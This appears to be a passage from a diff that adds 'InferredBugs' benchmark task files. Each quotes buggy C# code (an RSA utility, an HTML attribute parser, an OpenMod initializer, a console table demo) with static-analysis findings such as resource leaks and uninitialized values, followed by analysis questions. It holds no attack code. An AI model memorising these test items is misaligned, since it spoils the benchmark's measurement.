+
+### File:
+test/Streamiz.Kafka.Net.Tests/Private/StoreChangelogReaderTests.cs
+
+### Key:
+StoreChangelogReaderTests.cs|RestoreFromRecovery|NULL_DEREFERENCE
+
+### Node Key:
+c6749c0eea2f60af0918298ee5b3577c
+
+### Hash:
+050a879e21e946688cdd6edc9d0428dd
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0368/instruction.md b/inferredbugs-0368/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5ce792a3879770a8bbf8404cb67032f534aacb62
--- /dev/null
+++ b/inferredbugs-0368/instruction.md
@@ -0,0 +1,330 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** DotNetCore.SKIT.FlurlHttpClient.Wechat
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.RegularExpressions;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Parameters;
+using Org.BouncyCastle.OpenSsl;
+using Org.BouncyCastle.Security;
+using Org.BouncyCastle.X509;
+
+namespace SKIT.FlurlHttpClient.Wechat.TenpayV3.Utilities
+{
+    /// <summary>
+    /// RSA 算法工具类。
+    /// </summary>
+    public static class RSAUtility
+    {
+        // REF: https://github.com/bcgit/bc-csharp/blob/master/crypto/src/security/CipherUtilities.cs
+        private const string RSA_CIPHER_ALG = "RSA/ECB/OAEPWITHSHA1ANDMGF1PADDING";
+        // REF: https://github.com/bcgit/bc-csharp/blob/master/crypto/src/security/SignerUtilities.cs
+        private const string RSA_SIGNER_ALG = "SHA-256withRSA";
+
+        /// <summary>
+        /// 使用私钥基于 SHA-256 算法生成签名。
+        /// </summary>
+        /// <param name="privateKeyBytes">PKCS#8 私钥字节数组。</param>
+        /// <param name="plainBytes">待签名的数据字节数组。</param>
+        /// <returns>签名字节数组。</returns>
+        public static byte[] SignWithSHA256(byte[] privateKeyBytes, byte[] plainBytes)
+        {
+            if (privateKeyBytes == null) throw new ArgumentNullException(nameof(privateKeyBytes));
+            if (plainBytes == null) throw new ArgumentNullException(nameof(plainBytes));
+
+            RsaKeyParameters rsaKeyParams = (RsaKeyParameters)PrivateKeyFactory.CreateKey(privateKeyBytes);
+            return SignWithSHA256(rsaKeyParams, plainBytes);
+        }
+
+        /// <summary>
+        /// 使用私钥基于 SHA-256 算法生成签名。
+        /// </summary>
+        /// <param name="privateKey">PKCS#8 私钥（pem 格式）。</param>
+        /// <param name="plainText">待签名的文本数据。</param>
+        /// <returns>经 Base64 编码的签名。</returns>
+        public static string SignWithSHA256(string privateKey, string plainText)
+        {
+            if (privateKey == null) throw new ArgumentNullException(nameof(privateKey));
+            if (plainText == null) throw new ArgumentNullException(nameof(plainText));
+
+            byte[] privateKeyBytes = ConvertPkcs8PrivateKeyToByteArray(privateKey);
+            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
+            byte[] signBytes = SignWithSHA256(privateKeyBytes, plainBytes);
+            return Convert.ToBase64String(signBytes);
+        }
+
+        /// <summary>
+        /// 使用公钥基于 SHA-256 算法验证签名。
+        /// </summary>
+        /// <param name="publicKeyBytes">PKCS#8 公钥字节数据。</param>
+        /// <param name="plainBytes">待验证的数据字节数据。</param>
+        /// <param name="signBytes">待验证的签名字节数据。</param>
+        /// <returns>验证结果。</returns>
+        public static bool VerifyWithSHA256(byte[] publicKeyBytes, byte[] plainBytes, byte[] signBytes)
+        {
+            if (publicKeyBytes == null) throw new ArgumentNullException(nameof(publicKeyBytes));
+            if (plainBytes == null) throw new ArgumentNullException(nameof(plainBytes));
+            if (signBytes == null) throw new ArgumentNullException(nameof(signBytes));
+
+            RsaKeyParameters rsaKeyParams = (RsaKeyParameters)PublicKeyFactory.CreateKey(publicKeyBytes);
+            return VerifyWithSHA256(rsaKeyParams, plainBytes, signBytes);
+        }
+
+        /// <summary>
+        /// 使用公钥基于 SHA-256 算法验证签名。
+        /// </summary>
+        /// <param name="publicKey">PKCS#8 公钥（pem 格式）。</param>
+        /// <param name="plainText">待验证的文本数据。</param>
+        /// <param name="signature">经 Base64 编码的待验证的签名。</param>
+        /// <returns>验证结果。</returns>
+        public static bool VerifyWithSHA256(string publicKey, string plainText, string signature)
+        {
+            if (publicKey == null) throw new ArgumentNullException(nameof(publicKey));
+            if (plainText == null) throw new ArgumentNullException(nameof(plainText));
+            if (signature == null) throw new ArgumentNullException(nameof(signature));
+
+            byte[] publicKeyBytes = ConvertPkcs8PublicKeyToByteArray(publicKey);
+            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
+            byte[] signBytes = Convert.FromBase64String(signature);
+            return VerifyWithSHA256(publicKeyBytes, plainBytes, signBytes);
+        }
+
+        /// <summary>
+        /// 使用证书基于 SHA-256 算法验证签名。
+        /// </summary>
+        /// <param name="certificate">证书（cer 格式）。</param>
+        /// <param name="plainText">待验证的文本数据。</param>
+        /// <param name="signature">经 Base64 编码的待验证的签名。</param>
+        /// <returns>验证结果。</returns>
+        public static bool VerifyWithSHA256ByCertificate(string certificate, string plainText, string signature)
+        {
+            if (certificate == null) throw new ArgumentNullException(nameof(certificate));
+            if (plainText == null) throw new ArgumentNullException(nameof(plainText));
+            if (signature == null) throw new ArgumentNullException(nameof(signature));
+
+            RsaKeyParameters rsaKeyParams = ConvertCertificateToPublicKeyParams(certificate);
+            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
+            byte[] signBytes = Convert.FromBase64String(signature);
+            return VerifyWithSHA256(rsaKeyParams, plainBytes, signBytes);
+        }
+
+        /// <summary>
+        /// 使用私钥基于 ECB 模式解密数据。
+        /// </summary>
+        /// <param name="privateKeyBytes">PKCS#8 私钥字节数据。</param>
+        /// <param name="cipherBytes">待解密的数据字节数据。</param>
+        /// <returns>解密后的数据字节数组。</returns>
+        public static byte[] DecryptWithECB(byte[] privateKeyBytes, byte[] cipherBytes)
+        {
+            if (privateKeyBytes == null) throw new ArgumentNullException(nameof(privateKeyBytes));
+            if (cipherBytes == null) throw new ArgumentNullException(nameof(cipherBytes));
+
+            RsaKeyParameters rsaKeyParams = (RsaKeyParameters)PrivateKeyFactory.CreateKey(privateKeyBytes);
+            return DecryptWithECB(rsaKeyParams, cipherBytes);
+        }
+
+        /// <summary>
+        /// 使用私钥基于 ECB 模式解密数据。
+        /// </summary>
+        /// <param name="privateKey">PKCS#8 私钥（pem 格式）。</param>
+        /// <param name="cipherText">经 Base64 编码的待解密数据。</param>
+        /// <returns>解密后的文本数据。</returns>
+        public static string DecryptWithECB(string privateKey, string cipherText)
+        {
+            if (privateKey == null) throw new ArgumentNullException(nameof(privateKey));
+            if (cipherText == null) throw new ArgumentNullException(nameof(cipherText));
+
+            byte[] privateKeyBytes = ConvertPkcs8PrivateKeyToByteArray(privateKey);
+            byte[] cipherBytes = Convert.FromBase64String(cipherText);
+            byte[] plainBytes = DecryptWithECB(privateKeyBytes, cipherBytes);
+            return Encoding.UTF8.GetString(plainBytes);
+        }
+
+        /// <summary>
+        /// 使用公钥基于 ECB 模式加密数据。
+        /// </summary>
+        /// <param name="publicKeyBytes">PKCS#8 公钥字节数据。</param>
+        /// <param name="plainBytes">待加密的数据字节数据。</param>
+        /// <returns>加密后的数据字节数组。</returns>
+        public static byte[] EncryptWithECB(byte[] publicKeyBytes, byte[] plainBytes)
+        {
+            if (publicKeyBytes == null) throw new ArgumentNullException(nameof(publicKeyBytes));
+            if (plainBytes == null) throw new ArgumentNullException(nameof(plainBytes));
+
+            RsaKeyParameters rsaKeyParams = (RsaKeyParameters)PublicKeyFactory.CreateKey(publicKeyBytes);
+            return EncryptWithECB(rsaKeyParams, plainBytes);
+        }
+
+        /// <summary>
+        /// 使用公钥基于 ECB 模式加密数据。
+        /// </summary>
+        /// <param name="publicKey">PKCS#8 公钥（pem 格式）。</param>
+        /// <param name="plainText">待加密的文本数据。</param>
+        /// <returns>经 Base64 编码的加密数据。</returns>
+        public static string EncryptWithECB(string publicKey, string plainText)
+        {
+            if (publicKey == null) throw new ArgumentNullException(nameof(publicKey));
+            if (plainText == null) throw new ArgumentNullException(nameof(plainText));
+
+            byte[] publicKeyBytes = ConvertPkcs8PublicKeyToByteArray(publicKey);
+            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
+            byte[] cipherBytes = EncryptWithECB(publicKeyBytes, plainBytes);
+            return Convert.ToBase64String(cipherBytes);
+        }
+
+        /// <summary>
+        /// 使用证书基于 ECB 模式加密数据。
+        /// </summary>
+        /// <param name="certificate">证书（cer 格式）。</param>
+        /// <param name="plainText">待加密的文本数据。</param>
+        /// <returns>经 Base64 编码的加密数据。</returns>
+        public static string EncryptWithECBByCertificate(string certificate, string plainText)
+        {
+            if (certificate == null) throw new ArgumentNullException(nameof(certificate));
+            if (plainText == null) throw new ArgumentNullException(nameof(plainText));
+
+            RsaKeyParameters rsaKeyParams = ConvertCertificateToPublicKeyParams(certificate);
+            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
+            byte[] cipherBytes = EncryptWithECB(rsaKeyParams, plainBytes);
+            return Convert.ToBase64String(cipherBytes);
+        }
+
+        /// <summary>
+        /// <para>从 CRT/CER 证书中提取 PKCS#8 公钥。</para>
+        /// <para>
+        ///     即从 -----BEGIN CERTIFICATE----- ... -----END CERTIFICATE-----
+        ///     转为 -----BEGIN PUBLIC KEY----- ..... -----END PUBLIC KEY-----
+        /// </para>
+        /// </summary>
+        /// <param name="certificate">证书（cer 格式）。</param>
+        /// <returns>PKCS#8 公钥（pem 格式）。</returns>
+        public static string ExportPublicKey(string certificate)
+        {
+            using (TextWriter swriter = new StringWriter())
+            {
+                RsaKeyParameters rsaKeyParams = ConvertCertificateToPublicKeyParams(certificate);
+                PemWriter pemWriter = new PemWriter(swriter);
+                pemWriter.WriteObject(rsaKeyParams);
+                pemWriter.Writer.Flush();
+                return swriter.ToString()!;
+            }
+        }
+
+        private static byte[] ConvertPkcs8PrivateKeyToByteArray(string privateKey)
+        {
+            privateKey = privateKey
+                .Replace("-----BEGIN PRIVATE KEY-----", "")
+                .Replace("-----END PRIVATE KEY-----", "");
+            privateKey = Regex.Replace(privateKey, "\\s+", "");
+            return Convert.FromBase64String(privateKey);
+        }
+
+        private static byte[] ConvertPkcs8PublicKeyToByteArray(string publicKey)
+        {
+            publicKey = publicKey
+                .Replace("-----BEGIN PUBLIC KEY-----", "")
+                .Replace("-----END PUBLIC KEY-----", "");
+            publicKey = Regex.Replace(publicKey, "\\s+", "");
+            return Convert.FromBase64String(publicKey);
+        }
+
+        private static RsaKeyParameters ConvertCertificateToPublicKeyParams(string certificate)
+        {
+            using (TextReader sreader = new StringReader(certificate))
+            {
+                PemReader pemReader = new PemReader(sreader);
+                X509Certificate cert = (X509Certificate)pemReader.ReadObject();
+                return (RsaKeyParameters)cert.GetPublicKey();
+            }
+        }
+
+        private static byte[] SignWithSHA256(RsaKeyParameters rsaKeyParams, byte[] plainBytes)
+        {
+            ISigner signer = SignerUtilities.GetSigner(RSA_SIGNER_ALG);
+            signer.Init(true, rsaKeyParams);
+            signer.BlockUpdate(plainBytes, 0, plainBytes.Length);
+            return signer.GenerateSignature();
+        }
+
+        private static bool VerifyWithSHA256(RsaKeyParameters rsaKeyParams, byte[] plainBytes, byte[] signBytes)
+        {
+            ISigner signer = SignerUtilities.GetSigner(RSA_SIGNER_ALG);
+            signer.Init(false, rsaKeyParams);
+            signer.BlockUpdate(plainBytes, 0, plainBytes.Length);
+            return signer.VerifySignature(signBytes);
+        }
+
+        private static byte[] EncryptWithECB(RsaKeyParameters rsaKeyParams, byte[] plainBytes)
+        {
+            IBufferedCipher cipher = CipherUtilities.GetCipher(RSA_CIPHER_ALG);
+            cipher.Init(true, rsaKeyParams);
+            return cipher.DoFinal(plainBytes);
+        }
+
+        private static byte[] DecryptWithECB(RsaKeyParameters rsaKeyParams, byte[] cipherBytes)
+        {
+            IBufferedCipher cipher = CipherUtilities.GetCipher(RSA_CIPHER_ALG);
+            cipher.Init(false, rsaKeyParams);
+            return cipher.DoFinal(cipherBytes);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource pemReader.Org.BouncyCastle.Utilities.IO.Pem.PemReader.textBuffer of type System.IO.StreamWriter, Leaked resource pemReader.Org.BouncyCastle.Utilities.IO.Pem.PemReader.buffer of type System.IO.MemoryStream in method "RsaKeyParameters RSAUtility.ConvertCertificateToPublicKeyParams(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+RsaKeyParameters RSAUtility.ConvertCertificateToPublicKeyParams(String)
+
+### File:
+src/SKIT.FlurlHttpClient.Wechat.TenpayV3/Utilities/RSAUtility.cs
+
+### Key:
+RSAUtility.cs|ConvertCertificateToPublicKeyParams|DOTNET_RESOURCE_LEAK
+
+### Hash:
+097c64dfdb14749aec9e91dab9fd42cb
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0369/instruction.md b/inferredbugs-0369/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b1f77bb64899203680120ff6c3747d93860521ff
--- /dev/null
+++ b/inferredbugs-0369/instruction.md
@@ -0,0 +1,315 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** html2openxml
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/* Copyright (C) Olivier Nizet https://github.com/onizet/html2openxml - All Rights Reserved
+ * 
+ * This source is subject to the Microsoft Permissive License.
+ * Please see the License.txt file for more information.
+ * All other rights reserved.
+ * 
+ * THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY 
+ * KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
+ * PARTICULAR PURPOSE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Text.RegularExpressions;
+
+namespace HtmlToOpenXml
+{
+	using w = DocumentFormat.OpenXml.Wordprocessing;
+
+
+	/// <summary>
+	/// Represents the collection of attributes present in the current html tag.
+	/// </summary>
+	sealed class HtmlAttributeCollection
+	{
+		// This regex split the attributes. This line is valid and all the attributes are well discovered:
+		// <table border="1" contenteditable style="text-align: center; color: #ff00e6" cellpadding=0 cellspacing='0' align="center">
+		// RegexOptions.Singleline stands for dealing with attributes that contain newline (typically for base64 image, see issue #8)
+		private static Regex stripAttributesRegex = new Regex(@"
+#tag and its value surrounded by "" or '
+((?<tag>\w+)=(?<sep>""|')\s*(?<val>\#?.*?)(\k<sep>|>))
+|
+# tag whereas the value is not delimited: cellspacing=0
+(?<tag>\w+)=(?<val>\w+)
+|
+# single tag (with no value): contenteditable
+\b(?<tag>\w+)\b", RegexOptions.IgnorePatternWhitespace| RegexOptions.Singleline);
+
+        private static Regex stripStyleAttributesRegex = new Regex(@"(?<name>.+?):\s*(?<val>[^;]+);*\s*");
+
+		private Dictionary<string, string> attributes;
+
+
+
+		private HtmlAttributeCollection()
+		{
+			this.attributes = new Dictionary<string, string>();
+		}
+
+		public static HtmlAttributeCollection Parse(String htmlTag)
+		{
+			HtmlAttributeCollection collection = new HtmlAttributeCollection();
+			if (String.IsNullOrEmpty(htmlTag)) return collection;
+
+			// We remove the name of the tag (due to our regex) and ensure there are at least one parameter
+			int startIndex;
+			for (startIndex = 0; startIndex < htmlTag.Length; startIndex++)
+			{
+				if (Char.IsWhiteSpace(htmlTag[startIndex]))
+				{
+					startIndex++;
+					break;
+				}
+				else if (htmlTag[startIndex] == '>' || htmlTag[startIndex] == '/')
+				{
+					// no attribute in this tag
+					return collection;
+				}
+			}
+
+			MatchCollection matches = stripAttributesRegex.Matches(htmlTag, startIndex);
+			foreach (Match m in matches)
+			{
+				collection.attributes[m.Groups["tag"].Value] = m.Groups["val"].Value;
+			}
+
+			return collection;
+		}
+
+		public static HtmlAttributeCollection ParseStyle(String htmlTag)
+		{
+			HtmlAttributeCollection collection = new HtmlAttributeCollection();
+			if (String.IsNullOrEmpty(htmlTag)) return collection;
+
+            // Encoded ':' and ';' characters are valid for browser but not handled by the regex (bug #13812 reported by robin391)
+            // ex= <span style="text-decoration&#58;underline&#59;color:red">
+			MatchCollection matches = stripStyleAttributesRegex.Matches(HttpUtility.HtmlDecode(htmlTag));
+			foreach (Match m in matches)
+				collection.attributes[m.Groups["name"].Value] = m.Groups["val"].Value;
+
+			return collection;
+		}
+
+		/// <summary>
+		/// Gets the number of attributes for this tag.
+		/// </summary>
+		public int Count
+		{
+			get { return attributes.Count; }
+		}
+
+		/// <summary>
+		/// Gets the named attribute.
+		/// </summary>
+		public String this[String name]
+		{
+			get
+            {
+                string value;
+                return attributes.TryGetValue(name, out value)? value : null;
+            }
+		}
+
+		/// <summary>
+		/// Gets an attribute representing an integer.
+		/// </summary>
+		public Int32? GetAsInt(String name)
+		{
+			string attrValue = this[name];
+			int val;
+			if (attrValue != null && Int32.TryParse(attrValue, NumberStyles.Integer, CultureInfo.InvariantCulture, out val))
+				return val;
+
+			return null;
+		}
+
+		/// <summary>
+		/// Gets an attribute representing a color (named color, hexadecimal or hexadecimal 
+		/// without the preceding # character).
+		/// </summary>
+		public HtmlColor GetAsColor(String name)
+		{
+			return HtmlColor.Parse(this[name]);
+		}
+
+		/// <summary>
+		/// Gets an attribute representing an unit: 120px, 10pt, 5em, 20%, ...
+		/// </summary>
+		/// <returns>If the attribute is misformed, the <see cref="Unit.IsValid"/> property is set to false.</returns>
+		public Unit GetAsUnit(String name)
+		{
+			return Unit.Parse(this[name]);
+		}
+
+		/// <summary>
+		/// Gets an attribute representing the 4 unit sides.
+		/// If a side has been specified individually, it will override the grouped definition.
+		/// </summary>
+		/// <returns>If the attribute is misformed, the <see cref="Margin.IsValid"/> property is set to false.</returns>
+		public Margin GetAsMargin(String name)
+		{
+			Margin margin = Margin.Parse(this[name]);
+			Unit u;
+
+			u = GetAsUnit(name + "-top");
+			if (u.IsValid) margin.Top = u;
+			u = GetAsUnit(name + "-right");
+			if (u.IsValid) margin.Right = u;
+			u = GetAsUnit(name + "-bottom");
+			if (u.IsValid) margin.Bottom = u;
+			u = GetAsUnit(name + "-left");
+			if (u.IsValid) margin.Left = u;
+
+			return margin;
+		}
+
+        /// <summary>
+        /// Gets an attribute representing the 4 border sides.
+        /// If a border style/color/width has been specified individually, it will override the grouped definition.
+        /// </summary>
+        /// <returns>If the attribute is misformed, the <see cref="HtmlBorder.IsEmpty"/> property is set to false.</returns>
+        public HtmlBorder GetAsBorder(String name)
+		{
+			HtmlBorder border = new HtmlBorder(GetAsSideBorder(name));
+			SideBorder sb;
+
+			sb = GetAsSideBorder(name + "-top");
+			if (sb.IsValid) border.Top = sb;
+			sb = GetAsSideBorder(name + "-right");
+			if (sb.IsValid) border.Right = sb;
+			sb = GetAsSideBorder(name + "-bottom");
+			if (sb.IsValid) border.Bottom = sb;
+			sb = GetAsSideBorder(name + "-left");
+			if (sb.IsValid) border.Left = sb;
+
+			return border;
+		}
+
+        /// <summary>
+        /// Gets an attribute representing a single border side.
+        /// If a border style/color/width has been specified individually, it will override the grouped definition.
+        /// </summary>
+        /// <returns>If the attribute is misformed, the <see cref="HtmlBorder.IsEmpty"/> property is set to false.</returns>
+        public SideBorder GetAsSideBorder(String name)
+		{
+			string attrValue = this[name];
+			SideBorder border = SideBorder.Parse(attrValue);
+
+			// handle attributes specified individually.
+			Unit width = SideBorder.ParseWidth(this[name + "-width"]);
+			if (width.IsValid) border.Width = width;
+
+			var color = GetAsColor(name + "-color");
+			if (!color.IsEmpty) border.Color = color;
+
+			var style = ConverterUtility.ConvertToBorderStyle(this[name + "-style"]);
+			if (style != w.BorderValues.Nil) border.Style = style;
+
+			return border;
+		}
+
+		/// <summary>
+		/// Gets the class attribute that specify one or more classnames.
+		/// </summary>
+		public String[] GetAsClass()
+		{
+			string attrValue = this["class"];
+			if (attrValue == null) return null;
+			return attrValue.Split(HttpUtility.WhiteSpaces, StringSplitOptions.RemoveEmptyEntries);
+		}
+
+		/// <summary>
+		/// Gets the font attribute and combine with the style, size and family.
+		/// </summary>
+		public HtmlFont GetAsFont(String name)
+		{
+			HtmlFont font = HtmlFont.Parse(this[name]);
+			string attrValue = this[name + "-style"];
+			if (attrValue != null)
+			{
+				var style = ConverterUtility.ConvertToFontStyle(attrValue);
+				if (style.HasValue) font.Style = style.Value;
+			}
+			attrValue = this[name + "-variant"];
+			if (attrValue != null)
+			{
+				var variant = ConverterUtility.ConvertToFontVariant(attrValue);
+				if (variant.HasValue) font.Variant = variant.Value;
+			}
+			attrValue = this[name + "-weight"];
+			if (attrValue != null)
+			{
+				var weight = ConverterUtility.ConvertToFontWeight(attrValue);
+				if (weight.HasValue) font.Weight = weight.Value;
+			}
+			attrValue = this[name + "-family"];
+			if (attrValue != null)
+			{
+				font.Family = ConverterUtility.ConvertToFontFamily(attrValue);
+			}
+			Unit unit = this.GetAsUnit(name + "-size");
+			if (unit.IsValid) font.Size = unit;
+			return font;
+		}
+	}
+}
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`this.HtmlToOpenXml.HtmlColor.<A>k__BackingField` is read without initialization during the call to `SideBorder.Parse(...)`.
+
+### Severity:
+ERROR
+
+### Procedure:
+SideBorder HtmlAttributeCollection.GetAsSideBorder(String)
+
+### File:
+src/Html2OpenXml/Collections/HtmlAttributeCollection.cs
+
+### Key:
+HtmlAttributeCollection.cs|GetAsSideBorder|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+9702d83476f0d09134d4192f86efa9b9
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0393/instruction.md b/inferredbugs-0393/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b2ee8b041027683a8358b8fabaf7ff34da0ceba2
--- /dev/null
+++ b/inferredbugs-0393/instruction.md
@@ -0,0 +1,119 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** openmod
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.CompilerServices;
+using SDG.Unturned;
+
+#if NUGET_BOOTSTRAP
+using OpenMod.Bootstrapper;
+using OpenMod.NuGet;
+#else
+using System.Reflection;
+using Microsoft.Extensions.Hosting;
+using OpenMod.API;
+#endif
+
+
+namespace OpenMod.Unturned.Module
+{
+    public class OpenModInitializer
+    {
+        [MethodImpl(MethodImplOptions.NoInlining)]
+        public static void Initialize()
+        {
+            string openModDirectory = Path.GetFullPath($"Servers/{Dedicator.serverID}/OpenMod/");
+            if (!Directory.Exists(openModDirectory))
+            {
+                Directory.CreateDirectory(openModDirectory);
+            }
+
+#if NUGET_BOOTSTRAP
+            Console.WriteLine("Bootstrapping OpenMod for Unturned, this might take a while...");
+
+            var bootrapper = new OpenModDynamicBootstrapper();
+
+            bootrapper.Bootstrap(
+                openModDirectory,
+                Environment.GetCommandLineArgs(),
+                new List<string> { "OpenMod.Unturned" },
+                false,
+                new NuGetConsoleLogger());
+
+#else
+            var hostBuilder = new HostBuilder();
+            var parameters = new RuntimeInitParameters
+            {
+                CommandlineArgs = Environment.GetCommandLineArgs(),
+                WorkingDirectory = openModDirectory
+            };
+
+            var assemblies = new List<Assembly>
+            {
+                typeof(OpenMod.UnityEngine.UnityMainThreadDispatcher).Assembly,
+                typeof(OpenMod.Unturned.OpenModUnturnedHost).Assembly
+            };
+
+            var runtime = new Runtime.Runtime();
+            runtime.Init(assemblies, hostBuilder, parameters);
+#endif
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource runtime.OpenMod.Runtime.Runtime.m_HostReadyEventHandle of type System.Threading.ManualResetEvent in method "Void OpenModInitializer.Initialize()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void OpenModInitializer.Initialize()
+
+### File:
+unturned/OpenMod.Unturned.Module/OpenModInitializer.cs
+
+### Key:
+OpenModInitializer.cs|Initialize|DOTNET_RESOURCE_LEAK
+
+### Hash:
+810c6f376fe76f379c988c9f66bc5c1b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0394/instruction.md b/inferredbugs-0394/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..68aa1da26f1b0e988f0687483f27135f4807fe0e
--- /dev/null
+++ b/inferredbugs-0394/instruction.md
@@ -0,0 +1,158 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ConsoleTableExt
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using ConsoleTableExt;
+using System;
+using System.Collections.Generic;
+using System.Data;
+
+namespace ConsoleTableApp
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            DataTable table = new DataTable();
+            table.Columns.Add(null, typeof(int));
+            table.Columns.Add("Drug", typeof(string));
+            table.Columns.Add("Patient", typeof(string));
+            table.Columns.Add("Date", typeof(string));
+
+            DataRow row = table.NewRow();
+            row[0] = 999;
+            row[1] = "y";
+            row[2] = "str";
+            row[3] = "x";
+
+            ConsoleTableBuilder
+                .From(GetTable())
+                .WithColumn(new List<string> {"1", null, null})
+                .AddRow(null, null, "3", null, "5", "6", "7")
+                .AddRow(new List<object>{ null, 1, "2" })
+                .AddRow(row)
+                .AddRow(new List<List<object>>
+                {
+                    new List<object>{"1",2,3,4},
+                    new List<object>{"x", "y", 999}
+                })
+                .WithFormat(ConsoleTableBuilderFormat.Alternative)
+                .WithOptions(new ConsoleTableBuilderOption {TrimColumn = true})
+                .ExportAndWriteLine();
+
+            ConsoleTableBuilder.From(new List<object[]>
+                {
+                    new object[] {"1", "2", 3, null},
+                    new object[] {"1", null, 2},
+                    new object[] {"122"}
+                })
+                .WithColumn(new List<string> {null, "1", null})
+                .AddColumn("helo")
+                .AddColumn("helo 1")
+                .AddColumn("helo 2")
+                .AddColumn("1","2","3","4","5")
+                .WithColumn("hello", "co", "ba")
+                .WithFormat(ConsoleTableBuilderFormat.Alternative)
+                .WithOptions(new ConsoleTableBuilderOption{TrimColumn = true})
+                .ExportAndWrite();
+
+            Console.WriteLine();
+
+            ConsoleTableBuilder.From(new List<List<object>>
+                {
+                    new List<object> {"1", 2, null, 4},
+                    new List<object> {null, "luong son ba chuc", "anh dai"},
+                    new List<object> {"133 f afa faf as",}
+                })
+                .WithFormat(ConsoleTableBuilderFormat.Minimal)
+                .ExportAndWriteLine();
+
+            ConsoleTableBuilder
+                .From(new List<object[]> {new[] {"1", null}, new[] {null, "4"}})
+                .WithFormat(ConsoleTableBuilderFormat.Alternative)
+                .ExportAndWriteLine();
+
+            var builder = ConsoleTableBuilder.From(GetTable());
+            builder.Export().ToString();
+            builder.WithFormat(ConsoleTableBuilderFormat.Default).ExportAndWriteLine();
+            builder.WithFormat(ConsoleTableBuilderFormat.Alternative).ExportAndWriteLine();
+            builder.WithFormat(ConsoleTableBuilderFormat.MarkDown).ExportAndWriteLine();
